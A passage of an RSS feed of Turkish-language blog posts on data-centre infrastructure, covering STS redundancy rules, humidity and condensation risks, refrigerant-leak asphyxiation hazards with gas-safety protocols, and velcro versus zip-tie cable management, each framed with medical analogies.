<p>Eğer altyapınızda STS kullanmak zorundaysanız, şu katı kuralları uygulamak zorundasınız:</p>
<ol>
<li><strong>Tek Fişli Cihazları Prodüksiyondan Temizleyin:</strong> Gerçek bir veri merkezi altyapısında tek güç kaynaklı sunucu veya switch barındırılmamalıdır. Tüm kritik cihazlar doğuştan çift güç kaynaklı (Dual PSU) olmalı ve her bir kablo doğrudan bağımsız A ve B PDU'larına takılmalıdır. Araya hiçbir aracı kutu sokulmamalıdır.</li>
<li><strong>Statik Bypass ve Mekanik Kilitleme:</strong> Kullanılan STS cihazlarında SCR arızası durumunda iki kaynağın birbirine temasını engelleyen donanımsal ve mekanik kilitlemeler (mechanical interlock) bulunmalıdır.</li>
<li><strong>Faz Senkronizasyonu (Sync Modülü):</strong> Eğer bir tesiste STS kullanılacaksa, UPS-A ve UPS-B üniteleri arasına özel bir "Yük Eşitleme ve Senkronizasyon Modülü" (LBS - Load Bus Synchronizer) konulmalıdır. Böylece iki UPS kaynağının sinüs dalgaları daima aynı faz açısında kilitli tutulmalı, olası bir çakışmada patlama riski minimize edilmelidir.</li>
</ol>
<p>Tıpta kalbin sağ ve sol odacığını ayıran septum duvarı yırtıldığında insan dakikalar içinde ölür.</p>
<p>Veri merkezinde de A ve B hatlarının arasına koyduğunuz anahtarlama kutusunun kalitesinden emin değilseniz; iki bağımsız can damarınızı aynı bıçağın ucunda dengede tutuyorsunuz demektir. Gerçek bağımsızlık, araya hiçbir şey koymamaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>STS</category>
            <category>UPS</category>
            <category>Veri Merkezi</category>
            <category>Elektrik</category>
            <category>SPOF</category>
            <category>Altyapı</category>
            <category>Kriz Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/static-transfer-switch-sts-arizasi-iki-bagimsiz-hatti-birbirine-cakistiran-kiyamet/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Nem Oranı" Sınavı: Düşük Nemde Statik Kıvılcım, Yüksek Nemde Yoğuşan Su]]></title>
            <link>http://localhost:3000/blog/post/nem-orani-sinavi-dusuk-nemde-statik-kivilcim-yuksek-nemde-yogusan-su</link>
            <guid>nem-orani-sinavi-dusuk-nemde-statik-kivilcim-yuksek-nemde-yogusan-su</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Veri merkezlerini sadece sıcaklık derecesiyle yönetmenin cehaleti; düşük nemde silikon yakan elektrostatik deşarjlar, yüksek nemde anakartı çürüten yoğuşma (dew point) ve ASHRAE dengesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/nem-orani-sinavi-dusuk-nemde-statik-kivilcim-yuksek-nemde-yogusan-su/thumbnail" alt=""> Biyokimyada ve acil tıpta hekimlerin en hassas takip ettiği parametrelerden biri kandaki sodyum (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi><msup><mi>a</mi><mo>+</mo></msup></mrow><annotation encoding="application/x-tex">Na^+</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span>) ve osmolalite dengesidir. Sağlıklı bir insanın kanındaki sodyum düzeyi çok dar bir aralıkta hapsolmuştur: <strong>135 ila 145 mEq/L.</strong></p>
<p>Eğer bu denge bozulur ve sodyum 120'nin altına düşerse (hiponatremi); kandaki su hücrelerin içine hücum eder, beyin ödemi gelişir, hasta sara nöbetleri geçirerek komaya girer. Eğer sodyum 160'ın üzerine çıkarsa (hipernatremi); bu kez hücrelerin içindeki su dışarı emilir, nöronlar kuru bir erik gibi büzüşür, beyin kanaması başlar ve hasta yine kaybedilir. Biri hücreyi suyla boğar, diğeri susuzluktan çatlatır. Hayat, mikroskobik bir osmotik dengenin incecik ipinde yürüyen bir cambazdır.</p>
<p>Kurumsal veri merkezlerinde, sunucu odalarında ve iklimlendirme mühendisliğinde de tam olarak bu osmotik bıçak sırtını temsil eden, sistem mühendislerinin çoğunun tamamen göz ardı ettiği sinsi bir çevre parametresi vardır: <strong>Bağıl Nem (Relative Humidity) ve Çiğ Noktası (Dew Point).</strong></p>
<p>Çoğu yönetici veri merkezini sadece bir termometreden ibaret sanır: <em>"İçerisi 20 derece mi? Tamam, klimalar harika çalışıyor."</em><br>
Oysa sıcaklığı kontrol etmek bu işin en kaba, en basit adımıdır. Gerçek mühendislik sınavı, o havayı oluşturan görünmez su buharını yönetebilme sanatıdır.</p>
<hr>
<h3>Termodinamiğin İki Uçlu Kılıcı: ASHRAE Standartları</h3>
<p>Dünya genelinde veri merkezi standartlarını belirleyen en üst otorite ASHRAE'dir (Amerikan Isıtma, Soğutma ve Havalandırma Mühendisleri Derneği - TC 9.9 Komitesi).</p>
<p>ASHRAE kılavuzlarına baktığınızda sıcaklık kadar katı kurallarla çizilmiş bir nem penceresi görürsünüz:</p>
<ul>
<li><strong>Tavsiye Edilen Bağıl Nem:</strong> <code>%40 ile %60 RH</code></li>
<li><strong>Tavsiye Edilen Çiğ Noktası (Dew Point):</strong> <code>5.5°C ile 15°C</code></li>
</ul>
<p>Bu dar pencerenin altına düştüğünüzde sizi bekleyen felaket başkadır; üstüne çıktığınızda başınıza yıkılan bela bambaşkadır.</p>
<p>Gelin bu iki cehennemi de yakından inceleyelim.</p>
<hr>
<h3>Sol Kutu: Düşük Nem ve Statik Elektrik Kıyameti (%30'un Altı)</h3>
<p>Kış aylarında dışarıdaki hava soğuk ve kurudur. Veri merkezinin klimaları odayı aralıksız soğuturken evaporatör peteklerinde havadaki nemi sürekli yoğuşturup dışarı atar. Eğer odada hassas bir nemlendirme ünitesi (humidifier) yoksa, odadaki bağıl nem hızla <strong>%20 - %25 seviyelerine</strong> çakılır.</p>
<p>Hava kuruduğu an ne olur?<br>
Hava, elektrik yüklerini dağıtma (kondüksiyon) özelliğini tamamen kaybeder ve mükemmel bir elektriksel yalıtkana dönüşür.</p>
<p>Ortamda biriken statik elektrik havaya karışıp nötrlenemez.<br>
Teknisyenin kauçuk tabanlı spor ayakkabısıyla yükseltilmiş taban üzerinde attığı her adımda, elindeki plastik klasörde veya kazağında devasa bir elektrostatik potansiyel birikmeye başlar: <strong>15.000 ila 25.000 Volt!</strong></p>
<p>Havadaki bağıl nem %50 iken vücudunuzda oluşan statik yük mikroskobik su molekülleri üzerinden kendiliğinden sessizce toprağa sızar. Ama nem %20'ye düştüğünde, vücudunuz yürüyen bir van de Graaff jeneratörüne dönüşür!</p>
<p>Kabin kapısına uzandığınız an parmağınızdan metal kapağa doğru mavi bir şimşek çakar:<br>
<strong>"ÇIIIT!"</strong></p>
<p>O kıvılcım kabin demirine çarptığında elektrostatik deşarj (ESD) kasanın içine yayılır; anakart üzerindeki hassas CMOS lojik kapılarını, DDR5 bellek kontrolcülerini veya switch'lerin optik arayüzlerini anında delerek silikonu kül eder.</p>
<p>Düşük nem, donanımlarınızı görünmez yüksek voltaj kırbaçlarıyla kırbaçlar.</p>
<hr>
<h3>Sağ Kutu: Yüksek Nem ve Çiğ Noktası Suikastı (%65'in Üstü)</h3>
<p>Şimdi madalyonun diğer yüzüne bakalım. Nem oranını yüksek tutmak için odaya kontrolsüzce buhar bastınız veya yaz aylarında dışarıdaki nemli hava açık bir kapıdan/menfezden içeri doldu. Bağıl nem <strong>%70'in üzerine</strong> tırmandı.</p>
<p>Buradaki felaketin adı fizikte çok nettir: <strong>Çiğ Noktası (Dew Point).</strong></p>
<p>Çiğ noktası; havadaki su buharının artık gaz fazında kalamayıp sıvı su damlacıklarına dönüştüğü sıcaklık sınırıdır.</p>
<p>Veri merkezinde klimalar tabandan 16°C - 18°C soğuk hava basmaktadır.<br>
O yüksek nemli hava, sunucu kabinlerinin içine girip soğuk metal yüzeylerle —örneğin sunucunun şasisinin içiyle, anakartın yüzeyiyle veya bakır soğutucu borularıyla— temas ettiği anda ne olur?</p>
<p>Havadaki su buharı anında o soğuk yüzeylerin üzerinde yoğuşur!<br>
Tıpkı buzdolabından çıkardığınız soğuk bir kola kutusunun dış yüzeyinin birkaç saniye içinde su damlacıklarıyla kaplanması gibi...</p>
<p>Sunucunun anakartı üzerinde, milimetrenin yüzde biri aralıkla dizilmiş yüz binlerce mikroskobik lehim bacağı ve SMD kondansatör vardır. O mikroskobik lehimlerin üzerinde gözle görülmeyen bir <strong>su buğusu (yoğuşma filmi)</strong> oluşur.</p>
<p>Ve fizik kanunu gereği:<br>
<strong>Su + Ortamdaki Toz Partikülleri + 12 Volt Elektrik Akımı = İletken Çamur ve Hızlı Korozyon!</strong></p>
<p>Anakart üzerinde elektrokimyasal bir reaksiyon başlar:</p>
<ul>
<li>Lehimlerdeki kalay ve kurşun iyonları suyun içinde çözünerek karşı bacağa doğru mikroskobik kristal iğnecikler (dendrite growth / tin whiskers) halinde uzar.</li>
<li>İki bağımsız veri yolu birbirine değer.</li>
<li>"ÇAZZZ!" diye minik bir kısa devre olur.</li>
</ul>
<p>Anakart korozyondan çürür, çipler paslanır, sunucu çöp olur.</p>
<hr>
<h3>Hassas Klimaların (CRAC) Buharlı Denge Oyunu</h3>
<p>Bu yüzden sıradan bir ofis tipi split klima ile asla veri merkezi soğutulamaz! Çünkü split klima sadece havayı soğutur, nemi yönetemez; havayı kurutur veya aşırı soğutup yoğuşmaya sebep olur.</p>
<p>Gerçek bir veri merkezinin Hassas Kontrollü Kliması (CRAC / CRAH):</p>
<ul>
<li><strong>Elektrotlu Buhar Üreticisine (Steam Humidifier) Sahiptir:</strong> Nem %40'ın altına düştüğünde klimaların içindeki su kaynatıcılar devreye girer ve odaya saf, steril su buharı basarak statik elektriği boğar.</li>
<li><strong>Nem Alma (Dehumidification) Modu Vardır:</strong> Nem %60'ın üzerine çıktığında klima soğutma peteklerini aşırı soğutup havadaki fazla nemi yoğuşturarak drenaj hattından kanalizasyona tahliye eder.</li>
<li><strong>Sürekli Psikrometrik Takip:</strong> Modern tesisler sıcaklıktan ziyade Çiğ Noktasını (Dew Point) ölçer. Sıcaklık 24 dereceye çıksa bile çiğ noktası 10 derecede sabit tutulabiliyorsa yoğuşma riski sıfırdır.</li>
</ul>
<hr>
<h3>Görünmez Dengeyi Korumak</h3>
<p>Bir veri merkezine girdiğinizde sadece termometreye bakan mühendis, hastanın sadece ateşini ölçüp tansiyonuna ve kan şekerine bakmayan bir acemi hekim gibidir.</p>
<p>Profesyonel altyapı yönetimi şunları şart koşar:</p>
<ul>
<li>Kabinlerin hem soğuk koridoruna hem sıcak koridoruna sıcaklık sensörünün yanında mutlaka <strong>kalibre edilmiş bağıl nem sensörleri</strong> yerleştirilmelidir.</li>
<li>Zabbix veya Prometheus izleme ekranlarında nem için <code>%40 - %60</code> aralığında dar toleranslı alarmlar kurulmalıdır.</li>
<li>Klimaların drenaj tavaları ve su besleme hatları ayda bir kireçlenmeye ve tıkanmaya karşı denetlenmelidir.</li>
</ul>
<p>Tıpta kanındaki sodyumu dengeleyemediğiniz hasta ya ödemden boğulur ya da susuzluktan kurur.</p>
<p>Veri merkezinde de nemi yönetemeyen bir altyapı; sol tarafta statik elektrik şimşekleriyle, sağ tarafta anakartların üzerinde yoğuşan su damlalarıyla kuşatılmış bir ölüm tuzağıdır. İklimi bir bütün olarak yönetin; nemi ihmal etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Nem</category>
            <category>İklimlendirme</category>
            <category>Veri Merkezi</category>
            <category>ASHRAE</category>
            <category>ESD</category>
            <category>Altyapı</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/nem-orani-sinavi-dusuk-nemde-statik-kivilcim-yuksek-nemde-yogusan-su/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Klima Gazı Sızıntısı" (Freon/R410A): Oksijeni Çalan Görünmez Boğulma]]></title>
            <link>http://localhost:3000/blog/post/klima-gazi-sizintisi-freonr410a-oksijeni-calan-gorunmez-bogulma</link>
            <guid>klima-gazi-sizintisi-freonr410a-oksijeni-calan-gorunmez-bogulma</guid>
            <pubDate>Sun, 03 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hassas klimaların (CRAC) bakır borularından sızan renksiz ve kokusuz soğutucu gazın (R410A) yükseltilmiş tabanın altına çökmesi; basit asfiksi (oksijensizlik) ve sessiz bayılma tehlikesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/klima-gazi-sizintisi-freonr410a-oksijeni-calan-gorunmez-bogulma/thumbnail" alt=""> Adli tıpta ve maden kazalarında en sinsi, en korkutucu ölüm türü "Basit Asfiksi" (Simple Asphyxiation) olarak adlandırılır.</p>
<p>Basit asfikside ortamda siyanür gibi hücresel zehirler veya karbonmonoksit gibi kanı bağlayan gazlar yoktur. Gazın kendisi tamamen inerttir, nötrdür, zehirsizdir; örneğin saf azot (nitrojen), argon veya helyum gazı. Fakat bu gazlar kapalı bir ortama dolduğunda, havadaki saf oksijeni mekanik olarak iter ve yerini alır.</p>
<p>İşin en korkunç tarafı nedir biliyor musunuz? İnsan beyninin nefes alma refleksi kandaki oksijen azlığına değil, kandaki karbondioksit artışına bağlıdır! Karbondioksit yükselmediği için kişi boğulduğunu, nefessiz kaldığını asla hissetmez! Havadaki oksijen oranı normal olan %21 seviyesinden %14'e düştüğünde hafif bir sarhoşluk ve keyif hali çöker. %10'un altına indiğinde ise kişi ne olduğunu bile anlamadan, sanki tatlı bir uykuya dalar gibi aniden yere yığılır ve dakikalar içinde beyin ölümü gerçekleşir. Sessiz, acısız ama mutlak bir ölüm tuzağı.</p>
<p>Veri merkezlerinin sızdırmaz, pencerisiz beyaz odalarında da tam olarak bu asfiksi tuzağını kuran, mühendislerin çoğunun adını bile bilmediği görünmez bir tehdit vardır: <strong>Hassas Klimaların (CRAC) Bakır Borularından Sızan Soğutucu Gazlar (Freon / R410A / R407C).</strong></p>
<hr>
<h3>Kapalı Devrede Dolaşan Tonlarca Gaz</h3>
<p>Bir veri merkezinin iklimlendirme sistemini düşünün. Doğrudan genleşmeli (DX - Direct Expansion) Hassas Kontrollü Klimalar (CRAC) kullanılıyorsa; odadaki evaporatör üniteleri ile çatıdaki kondenserler arasında yüzlerce metre uzunluğunda bakır boru hatları uzanır.</p>
<p>Bu hatların içinde yüksek basınç altında (25 ila 40 bar) dolaşan onlarca, bazen yüzlerce kilogram soğutucu akışkan vardır: Genellikle <strong>R410A, R407C veya R134a.</strong></p>
<p>Bu gazların ortak özellikleri şunlardır:</p>
<ul>
<li>Tamamen renksizdirler (gözle göremezsiniz).</li>
<li>Pratik olarak kokusuzdurlar (burnunuzla algılayamazsınız).</li>
<li>Yanıcı değillerdir (alev çıkarmazlar).</li>
<li>Ve en kritik fiziksel özellikleri: <strong>Havadan yaklaşık 3 ila 4 kat daha ağırdırlar!</strong></li>
</ul>
<p>Yıllarca çalışan kompresörlerin yüksek frekanslı titreşimi, bakır boruların lehim yerlerinde veya yükseltilmiş tabanın altındaki genleşme valflerinde (TXV) mikroskobik yorulma çatlakları oluşturur.</p>
<p>Ve o sinsi sızıntı başlar.</p>
<hr>
<h3>Yükseltilmiş Tabanın Altındaki Görünmez Asfiksi Gölü</h3>
<p>Gaz borudan sızdığı an havadan 4 kat daha ağır olduğu için tavana doğru yükselmez.<br>
Ağır bir sıvı gibi zemine akar; yükseltilmiş tabanın perfore deliklerinden aşağıya, 50 santimetrelik kablo tavası ve hava kanalının olduğu o çukura çöker!</p>
<p>Zamanla tabanın altındaki o boşlukta görünmez, kokusuz, saf bir R410A gazı gölü birikir. O çukurda havadaki oksijen oranı <strong>%21'den %8'e</strong> düşmüştür.</p>
<p>Şimdi sahadaki teknisyenin rutin hareketine bakın:<br>
Kabin arkasında bir kablo çekilecektir veya zemin altındaki bir PDU'nun sigortası kontrol edilecektir.<br>
Teknisyen vantuzlu karo tutucuyla yerdeki 60x60 santimlik karoyu kaldırır.<br>
Karanlık kuyuya bakar; fenerini yakar.<br>
Bir kabloyu yakalamak için iki büklüm eğilir, göğsünü zemine dayar ve <strong>başını yükseltilmiş tabanın o 50 santimetrelik çukurunun içine sokar!</strong></p>
<p>Teknisyen o anda, oksijenin neredeyse sıfır olduğu o görünmez gaz gölünün içine doğrudan dalış yapmıştır!</p>
<hr>
<h3>İki Nefes ve Kütük Gibi Yere Çöküş</h3>
<p>Fizyoloji acımasızdır:<br>
İlk nefes: Ciğerler oksijen yerine saf R410A gazıyla dolar. Kandaki oksijen satürasyonu anında %98'den %60'a çakılır.<br>
İkinci nefes: Beyin korteksine giden oksijen tamamen kesilir.</p>
<p>Teknisyenin gözleri kararır. Başı fırıl fırıl dönmeye başlar. "Bana ne oluyor, tansiyonum mu düştü?" diye düşünmeye fırsat bile bulamadan bilinci tamamen kapanır (senkop).<br>
Başını o delikten geri çekemez; gövdesi yükseltilmiş tabanın deliğinden içeriye doğru sarkar ve hareketsiz kalır.</p>
<p>Dışarıdan bakan birisi ne görür?<br>
Sadece delikten içeri doğru eğilmiş, kablo arıyor gibi duran bir personel görür!<br>
Arkadaşı arkasından seslenir: <em>"Mehmet buldun mu kabloyu?"</em><br>
Cevap gelmez.<br>
Arkadaşı yanına gelir, Mehmet'i omzundan tutup çekmeye çalışır. "Mehmet iyi misin?" diyerek o da başını delikten içeri soktuğu an, ikinci kurban da o görünmez tuzağın içinde nefessiz kalarak bilincini kaybeder!</p>
<p>Bu senaryo bir kurgu değildir; endüstriyel tesislerde ve kapalı kanalizasyon/kuyu çalışmalarında her yıl onlarca insanın hayatına mal olan klasik "ikili asfiksi kurbanı" vakasıdır.</p>
<hr>
<h3>Yangın Sistemi Neden Çalmaz?</h3>
<p>Veri merkezinin tavanında yüz binlerce liralık VESDA duman dedektörleri, lazer algılayıcılar ve gazlı yangın söndürme sistemleri asılıdır.</p>
<p>Peki o dedektörler neden çalmaz?<br>
Çünkü odada duman yoktur! Alev yoktur! Partikül yoktur!<br>
VESDA lazeri tertemiz parlar, yangın paneli "System Normal" yazar.</p>
<p>Çünkü yangın sistemleri binayı korumak için tasarlanmıştır; personelin soluduğu oksijenin seviyesini ölçmek için değil!</p>
<p>Eğer o odada bağımsız bir <strong>Oksijen Seviyesi ve Soğutucu Gaz Kaçak Dedektörü (Refrigerant Leak Detection System)</strong> yoksa, binanın akıllı sistemleri içeride bir insanın boğulmakta olduğunu asla anlayamaz.</p>
<hr>
<h3>Veri Merkezinde Gaz Güvenliği Protokolleri</h3>
<p>İnsan hayatı hiçbir sunucudan veya SLA taahhüdünden daha ucuz değildir. Soğutma gazlarıyla çalışan her tesiste şu kurallar demir kanun olmalıdır:</p>
<ol>
<li><strong>Taban Altı Soğutucu Gaz Sensörleri:</strong> DX klimaların boru hatlarının geçtiği zemin altı menfezlere ve yükseltilmiş tabanın en alt noktalarına R410A / Freon gaz sensörleri yerleştirilmelidir. Gaz sızıntısı algılandığı an hem görsel flaşör yanmalı hem de acil taban altı tahliye fanları devreye girmelidir.</li>
<li><strong>Kişisel Portatif 4'lü Gaz Ölçüm Cihazı:</strong> Yükseltilmiş tabanın altına kafa sokacak veya kapalı akü odalarına girecek teknisyenlerin kemerinde daima sesli uyarı veren portatif bir oksijen (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>O</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">O_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>) dedektörü bulunmalıdır. Havadaki oksijen %19.5'in altına düştüğü an cihaz acı acı öterek teknisyeni uyarmalıdır.</li>
<li><strong>Yalnız Çalışma Yasağı (Buddy System):</strong> Taban altı derin müdahalelerde veya klima bakımında personel asla tek başına çalıştırılmamalıdır. Başında bekleyen bir gözetmen bulunmalıdır.</li>
<li><strong>Periyodik Bakır Boru Kaçak Testleri (Sniffer &#x26; UV Test):</strong> Klimaların lehim noktaları, vanaları ve rekorları yılda en az iki kez elektronik gaz arama tabancalarıyla (electronic halogen leak detectors) veya UV floresan boyalarla taranmalı, mikro sızıntılar büyümeden onarılmalıdır.</li>
</ol>
<p>Tıpta hastaya oksijensiz gaz solutan anestezi cihazı cinayet aletidir.</p>
<p>Veri merkezinde de borusundan gaz kaçıran bir klima sadece soğutmayı kesmez; personelinizi sessizce boğan bir cellada dönüşür. Havayı sadece sunucular için soğutmayın; o sunucuların başında duran insanların nefesini koruyun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>İklimlendirme</category>
            <category>Freon</category>
            <category>R410A</category>
            <category>İş Sağlığı</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>CRAC</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/klima-gazi-sizintisi-freonr410a-oksijeni-calan-gorunmez-bogulma/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kablo Bağlama Sanatı": Plastik Kelepçe (Zip-Tie) Vahşeti vs. Velcro Zarafeti]]></title>
            <link>http://localhost:3000/blog/post/kablo-baglama-sanati-plastik-kelepce-zip-tie-vahseti-vs-velcro-zarafeti</link>
            <guid>kablo-baglama-sanati-plastik-kelepce-zip-tie-vahseti-vs-velcro-zarafeti</guid>
            <pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kabin arkasında ucuza kaçıp plastik kelepçe kullananların yan keskiyle canlı fiberleri kesme trajedisi; Cat6 bükümünü ezen sert plastikler ve profesyonel altyapının kumaş bandajı (velcro).]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kablo-baglama-sanati-plastik-kelepce-zip-tie-vahseti-vs-velcro-zarafeti/thumbnail" alt=""> Damar cerrahisinde veya bağırsak anastomozlarında cerrahların en çok dikkat ettiği konulardan biri sütur (dikiş) ve ligatür materyalinin dokuya olan travmatik etkisidir.</p>
<p>Hassas bir atardamarın veya ince bağırsağın etrafını bağlarken asla kalın, sert, keskin kenarlı çelik teller veya kaba sentetik ipler kullanmazsınız. Çünkü sert bir iple sıktığınız anda doku ezilir, kan dolaşımı durur ve doku nekroze olur (çürür).</p>
<p>Daha da kötüsü: İleride o bölgeye ikinci bir revizyon ameliyatı yapmak gerektiğinde, o sert ipi bistüri veya makasla kesmeye çalışan cerrahın eli bir milimetre kaysa altındaki şah damarını parçalayabilir. Bu yüzden cerrahide kural daima "atravmatik, dokuyu boğmayan ve revizyona izin veren" yumuşak materyaller (örneğin ipek veya esnek monofilament ipler) kullanmaktır.</p>
<p>Ağ mühendisliğinde, veri merkezi altyapılarında ve kabin içi montajlarda da tam olarak bu cerrahi zarafet ile kasaplık arasındaki farkı belirleyen çok net bir sınır çizgisi vardır: <strong>Plastik Cırt Kelepçe (Zip-Tie) Vahşeti ile Kumaş Cırt Cırt (Velcro) Disiplini.</strong></p>
<p>Ve bir sistem yöneticisinin profesyonel olgunluğunu anlamak istiyorsanız, CV'sindeki süslü sertifikalara değil; kurduğu kabinin arkasındaki kablo demetlerini neyle bağladığına bakmanız yeterlidir.</p>
<hr>
<h3>Şantiyeden Kalma Alışkanlık: Plastik Kelepçenin İhaneti</h3>
<p>İnşaat şantiyelerinde, oto tamircilerinde veya bahçe çitlerinde plastik kablo bağları (Zip-Tie) harika bir kurtarıcıdır. İki parça teli birbirine bağlar, ucuza gelir, çekersiniz ve kilitlenir.</p>
<p>Fakat bu şantiye refleksini alıp milyonlarca liralık yüksek frekanslı veri taşıyan bir sunucu kabinine soktuğunuzda, iki aşamalı bir felaketin tohumlarını ekmiş olursunuz.</p>
<h4>1. Aşama: Kablonun Boğulması (Crosstalk ve Mikro Bükülme)</h4>
<p>Teknisyen 24 adet Cat6a bakır kabloyu veya incecik sarı fiber optik patch kablolarını bir araya toplar. Siyah plastik kelepçeyi sarar.<br>
Penseyi alır ve asılır: <em>ÇIK-ÇIK-ÇIK!</em></p>
<p>Plastik kelepçenin keskin iç kenarları o yumuşak PVC kılıfı sıkar:</p>
<ul>
<li><strong>Bakır Kabloda:</strong> Cat6 kabloların içindeki iletkenlerin birbirine olan büküm adımı (twist rate) milimetriktir. O büküm adımı sayesinde elektromanyetik gürültü birbirini sönümleler. Plastik kelepçe o damarları sıktığında kablolar ezilir, büküm geometrisi bozulur ve kablolar arasında "Near-End Crosstalk (NEXT)" parazitleri patlar! 10 Gbps çalışması gereken hat 1 Gbps'e düşer.</li>
<li><strong>Fiber Kabloda:</strong> 9 mikronluk cam çekirdek o sert plastiğin baskısıyla bükülür (macro-bending). Işık dışarı sızar, optik zayıflama (dBm kaybı) başlar.</li>
</ul>
<hr>
<h3>İkinci Aşama: Yan Keskiyle Gelen O Uğursuz "ÇIT" Sesi</h3>
<p>Fakat asıl kıyamet kablonun bağlandığı gün değil; aradan iki yıl geçtikten sonra kopar.</p>
<p>O 24 kabloluk demetin içindeki tek bir kablo arızalanmıştır veya bir müşteri başka bir kabine taşınacaktır. O tek kablonun çekilip çıkarılması gerekir.<br>
Fakat kablo demeti boyunca her yirmi santimetrede bir sımsıkı sıkılmış, kemik gibi sertleşmiş plastik kelepçeler vardır!</p>
<p>Mühendis kabin arkasına geçer. Daracık, karanlık alanda eline sivri uçlu bir yan keski (flush cutter) veya daha kötüsü bir maket bıçağı alır.</p>
<p>Kelepçenin plastik gövdesini kabloların arasından yakalamaya çalışır. Alan o kadar dardır ki bıçağın ucunu kelepçenin altına sokmak imkansız gibidir.<br>
Mühendis nefesini tutar, yan keskiyi sokar ve var gücüyle sıkar:<br>
<strong>"ÇIIIT!"</strong></p>
<p>O tok ses duyulduğu an mühendisin kalbi durur.<br>
Plastik kelepçe kopmuştur; evet.<br>
Ama yan keskinin jilet gibi bilenmiş çelik ağzı, tam da o kelepçenin altındaki komşu omurga fiber kablosunun sarı ceketini ve içindeki cam lifini de <strong>pürüzsüzce ortadan ikiye bölmüştür!</strong></p>
<p>Aynı anda kabindeki omurga switch'in 100G uplink LED'i söner.<br>
Şirketin tüm ana şebekesi çöker!</p>
<p>Mühendis elinde kanlı bir makasla kalmış cerrah gibi donakalır.<br>
Sadece elli kuruşluk bir plastik kelepçeyi sökmek isterken, şirkete yüz binlerce liralık bir kesinti faturası çıkarmıştır.</p>
<hr>
<h3>Velcro Zarafeti: Mühendisliğin İpek Bandajı</h3>
<p>İşte bütün bu riskleri sıfırlayan, modern veri merkezlerinin olmazsa olmaz standardı: <strong>Kumaş Cırt Cırtlı Bantlar (Velcro Cable Straps).</strong></p>
<p>Rulo halinde satılan, bir yüzü minik kancalar, diğer yüzü yumuşak tüylerden oluşan bu kumaş bantlar kablolama dünyasının en büyük medeniyet adımıdır:</p>
<ol>
<li><strong>Sıfır Mekanik Travma:</strong> Velcro el ile sarılır. Kablo demetini bir arada sımsıkı tutar ama asla plastiğin yaptığı gibi kabloları ezmez, boğmaz, kılıfı kesmez. Cat6 kablonun bükümünü bozmaz, fiberi bükülmeye zorlamaz.</li>
<li><strong>Aletsiz Revizyon (Tool-less Maintenance):</strong> İki yıl sonra o demetten bir kablo sökmek veya yeni bir kablo eklemek mi istiyorsunuz? Elinize hiçbir kesici alet, yan keski veya bıçak almanıza gerek yoktur! İki parmağınızla cırt cırtı açarsınız ("Cıııırt"), kabloyu ekler veya çıkarır, bandı tekrar sararsınız. İşlem süresi: <strong>Üç saniye.</strong> Kaza riski: <strong>Sıfır.</strong></li>
<li><strong>Sonsuz Kez Yeniden Kullanılabilirlik:</strong> Plastik kelepçe kesilip çöpe atılan bir tek kullanımlık plastik israfıdır. Velcro ise binlerce kez açılıp kapatılabilir; çevre dostudur, ekonomiktir.</li>
<li><strong>Renk Kodlama Esnekliği:</strong> Güç kabloları için kırmızı/mavi Velcro, veri kabloları için sarı/siyah Velcro kullanarak kabin arkasında görsel bir sanat eseri inşa edebilirsiniz.</li>
</ol>
<hr>
<h3>Bir Altyapı Kültürü Standardı</h3>
<p>Dünyanın önde gelen telekomünikasyon ve veri merkezi standartları (BICSI-002, TIA-942) kabin içi kablolamada plastik kelepçe kullanımını <strong>kesin bir dille yasaklar.</strong></p>
<p>Eğer bir şirketin sistem odasında plastik kelepçe kullanılıyorsa, orada geleceği düşünen bir altyapı aklı yoktur; sadece "bugünü kurtarayım da benden sonrası tufan" diyen günübirlik bir taşeron zihniyeti vardır.</p>
<ul>
<li>Plastik kelepçe anı kurtarır, ama gelecekteki müdahaleyi sabote eder.</li>
<li>Velcro ise gelecekte o kabinin arkasına geçecek olan mühendise (veya kendinize) duyduğunuz mesleki saygının ifadesidir.</li>
</ul>
<p>Tıpta hastanın dokusunu çelik telle boğup sonra makasla damarını kesen asistana cerrah denmez.</p>
